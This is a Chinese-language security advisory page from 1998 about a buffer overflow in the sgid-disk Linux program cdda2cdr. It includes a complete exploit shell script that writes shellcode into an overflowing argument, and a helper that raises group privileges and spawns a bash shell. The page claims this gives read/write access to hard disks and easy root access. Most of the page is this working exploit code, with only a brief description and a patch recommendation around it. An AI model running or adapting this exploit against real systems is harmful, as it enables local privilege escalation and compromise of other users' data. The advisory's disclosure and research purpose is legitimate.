安全研究

安全漏洞
cdda2cdr缓冲区溢出漏洞

发布日期:1998-10-01
更新日期:1998-10-01

受影响系统:
Linux
描述:

在cddda2cdr(发行包版本为cdwtools-0.93-78)中存在一个缓冲区溢出漏洞。该程序缺省时设置了sgid disk位,恶意用户可以利用它获得对/dev/hd*下所有硬盘的读/写权限。这显然是一种简单快速的本地越权(root)访问。





测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#! /bin/sh
    #
    # Shell script for Linux x86 cdda2cdr exploit
    # Brock Tellier btellier@usa.net
    #
    
    cat > /tmp/cdda2x.c <<EOF
    
    /**
     ** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)
    
     ** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz>
     **
     ** Brock Tellier btellier@usa.net
     **/
    
    
    #include <stdlib.h>
    #include <stdio.h>
    
    char exec[]= /* Generic Linux x86 running our /tmp program */
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/tmp/cd";
    
    
    
    #define LEN 500
    #define NOP 0x90
    
    unsigned long get_sp(void) {
    
    __asm__("movl %esp, %eax");
    
    }
    
    
    void main(int argc, char *argv[]) {
    
    int offset=0;
    int i;
    int buflen = LEN;
    long int addr;
    char buf[LEN];
    
     if(argc > 3) {
      fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
     exit(0);
     }
     else if (argc == 2){
       offset=atoi(argv[1]);
    
     }
     else if (argc == 3) {
       offset=atoi(argv[1]);
       buflen=atoi(argv[2]);
    
     }
     else {
       offset=500;
       buflen=500;
    
     }
    
    
    addr=get_sp();
    
    fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
    fprintf(stderr, "Brock Tellier btellier@usa.net\n");
    fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
    
    memset(buf,NOP,buflen);
    memcpy(buf+(buflen/2),exec,strlen(exec));
    for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
     *(int *)&buf[i]=addr+offset;
    
    execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);
    
    
    /*
    for (i=0; i < strlen(buf); i++) putchar(buf[i]);
    */
    
    }
    
    EOF
    
    cat > /tmp/cd.c <<EOF
    void main() {
        setregid(getegid(), getegid());
        system("/bin/bash");
    }
    EOF
    
    gcc -o /tmp/cd /tmp/cd.c
    gcc -o /tmp/cdda2x /tmp/cdda2x.c
    echo "Note that gid=6 leads to easy root access.."
    /tmp/cdda2x




建议:

从各供应商处获取并安装含有补丁程序的软件包。
注:此溢出漏洞对cdda2wav程序并无影响。




浏览次数:22076
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障